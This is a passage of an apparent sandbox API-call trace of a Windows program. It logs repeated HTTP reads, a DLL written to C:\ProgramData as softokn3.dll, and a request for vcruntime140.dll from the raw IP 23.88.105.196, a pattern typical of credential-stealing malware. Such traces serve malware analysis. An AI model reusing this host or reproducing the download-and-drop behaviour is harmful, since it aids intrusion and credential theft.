lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x369c010*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.247] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x369c3f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x369c3f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.247] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x369c7e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x369c7e0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.247] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x369cbc8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x369cbc8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.248] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x369cfb0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x369cfb0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.248] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x369d398, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x369d398*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.248] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x369d780, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x369d780*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.248] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x369db68, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x369db68*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.249] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x369df50, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x369df50*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.249] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x369e338, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x369e338*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.249] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x369e720, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x369e720*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.249] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x369eb08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x369eb08*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.249] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x369eef0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x369eef0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.250] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x369f2d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x369f2d8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.250] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x369f6c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x369f6c0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.250] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x369faa8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x369faa8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.250] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x369fe90, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x369fe90*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.250] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36a0278, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36a0278*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.250] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36a0660, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36a0660*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.251] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36a0a48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36a0a48*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.251] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36a0e30, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36a0e30*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.251] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36a1218, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36a1218*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.251] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36a1600, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36a1600*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.251] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36a19e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36a19e8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.251] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36a1dd0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36a1dd0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.252] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36a21b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36a21b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.252] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36a25a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36a25a0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.252] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36a2988, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36a2988*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.252] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36a2d70, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36a2d70*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.252] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36a3158, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36a3158*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.252] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36a3540, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36a3540*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.253] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36a3928, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36a3928*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.253] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36a3d10, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36a3d10*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.253] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36a40f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36a40f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.253] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36a44e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36a44e0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.253] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36a48c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36a48c8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.253] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36a4cb0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36a4cb0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.254] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36a5098, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36a5098*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.254] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36a5480, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36a5480*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.254] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36a5868, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36a5868*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.254] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36a5c50, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36a5c50*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.254] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36a6038, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36a6038*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.254] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36a6420, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36a6420*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.254] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36a6808, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36a6808*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.254] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36a6bf0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36a6bf0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.255] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36a6fd8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36a6fd8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.255] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36a73c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36a73c0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.255] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36a77a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36a77a8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.255] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36a7b90, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36a7b90*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.255] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36a7f78, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36a7f78*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.256] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36a8360, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36a8360*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.256] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36a8748, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36a8748*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.256] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36a8b30, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36a8b30*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.256] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36a8f18, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36a8f18*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.257] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36a9300, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36a9300*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.257] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36a96e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36a96e8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.257] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36a9ad0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36a9ad0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.257] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36a9eb8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36a9eb8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.258] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36aa2a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36aa2a0*, lpdwNumberOfBytesRead=0x19f5f0*=0x350) returned 1 [0141.258] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36aa5f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36aa5f0*, lpdwNumberOfBytesRead=0x19f5f0*=0x0) returned 1 [0141.292] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x1d, lpBuffer=0x19f638, lpdwBufferLength=0x19f5f0, lpdwIndex=0x0 | out: lpBuffer=0x19f638, lpdwBufferLength=0x19f5f0, lpdwIndex=0x0) returned 0 [0141.292] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0141.292] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0141.292] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0141.292] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361068 | out: hHeap=0x2360000) returned 1 [0141.292] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361040 | out: hHeap=0x2360000) returned 1 [0141.293] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x2361040 [0141.293] CreateFileA (lpFileName="C:\\ProgramData\\\\softokn3.dll" (normalized: "c:\\programdata\\softokn3.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28 [0141.495] WriteFile (in: hFile=0x28, lpBuffer=0x3687020*, nNumberOfBytesToWrite=0x235d0, lpNumberOfBytesWritten=0x19f7cc, lpOverlapped=0x0 | out: lpBuffer=0x3687020*, lpNumberOfBytesWritten=0x19f7cc*=0x235d0, lpOverlapped=0x0) returned 1 [0141.499] CloseHandle (hObject=0x28) returned 1 [0141.503] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361040 | out: hHeap=0x2360000) returned 1 [0141.503] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x2361040 [0141.503] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x2361068 [0141.503] GetLastError () returned 0x0 [0141.503] SetLastError (dwErrCode=0x0) [0141.503] InternetOpenA (lpszAgent="", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0141.503] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x41, lpBuffer=0x19f770, dwBufferLength=0x4) returned 1 [0141.503] InternetConnectA (hInternet=0xcc0004, lpszServerName="23.88.105.196", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x1) returned 0xcc0008 [0141.503] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="/vcruntime140.dll", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x400000, dwContext=0x1) returned 0xcc000c [0141.503] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x23611c0 [0141.504] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1", dwHeadersLength=0x7d, dwModifiers=0x20000000) returned 1 [0141.504] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Language: ru-RU,ru;q=0.9,en;q=0.8", dwHeadersLength=0x28, dwModifiers=0x20000000) returned 1 [0141.504] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1", dwHeadersLength=0x32, dwModifiers=0x20000000) returned 1 [0141.504] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0", dwHeadersLength=0x37, dwModifiers=0x20000000) returned 1 [0141.504] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0141.504] HttpSendRequestA (hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0) returned 1 [0141.536] InternetSetFilePointer (in: hFile=0xcc000c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0, dwContext=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.536] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3687020, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3687020*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.537] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3687408, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3687408*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.538] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36877f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36877f0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.538] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3687bd8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3687bd8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.538] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3687fc0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3687fc0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.538] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36883a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36883a8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.538] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3688790, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3688790*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.539] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3688b78, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3688b78*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.539] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3688f60, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3688f60*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.539] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3689348, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3689348*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.539] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3689730, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3689730*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.539] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3689b18, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3689b18*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.540] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3689f00, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3689f00*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.540] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x368a2e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368a2e8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.540] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x368a6d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368a6d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.540] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x368aab8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368aab8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.541] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x368aea0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368aea0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.541] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x368b288, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368b288*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.541] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x368b670, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368b670*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.541] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x368ba58, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368ba58*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.542] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x368be40, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368be40*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.542] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x368c228, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368c228*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.542] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x368c610, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368c610*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.542] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x368c9f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368c9f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.543] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x368cde0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368cde0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.543] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x368d1c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368d1c8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.543] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x368d5b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368d5b0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.543] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x368d998, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368d998*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.544] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x368dd80, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368dd80*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.544] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x368e168, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368e168*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.544] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x368e550, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368e550*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.545] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x368e938, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368e938*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.545] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x368ed20, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368ed20*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.545] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x368f108, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x368f108*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0141.545] InternetReadFile (in: 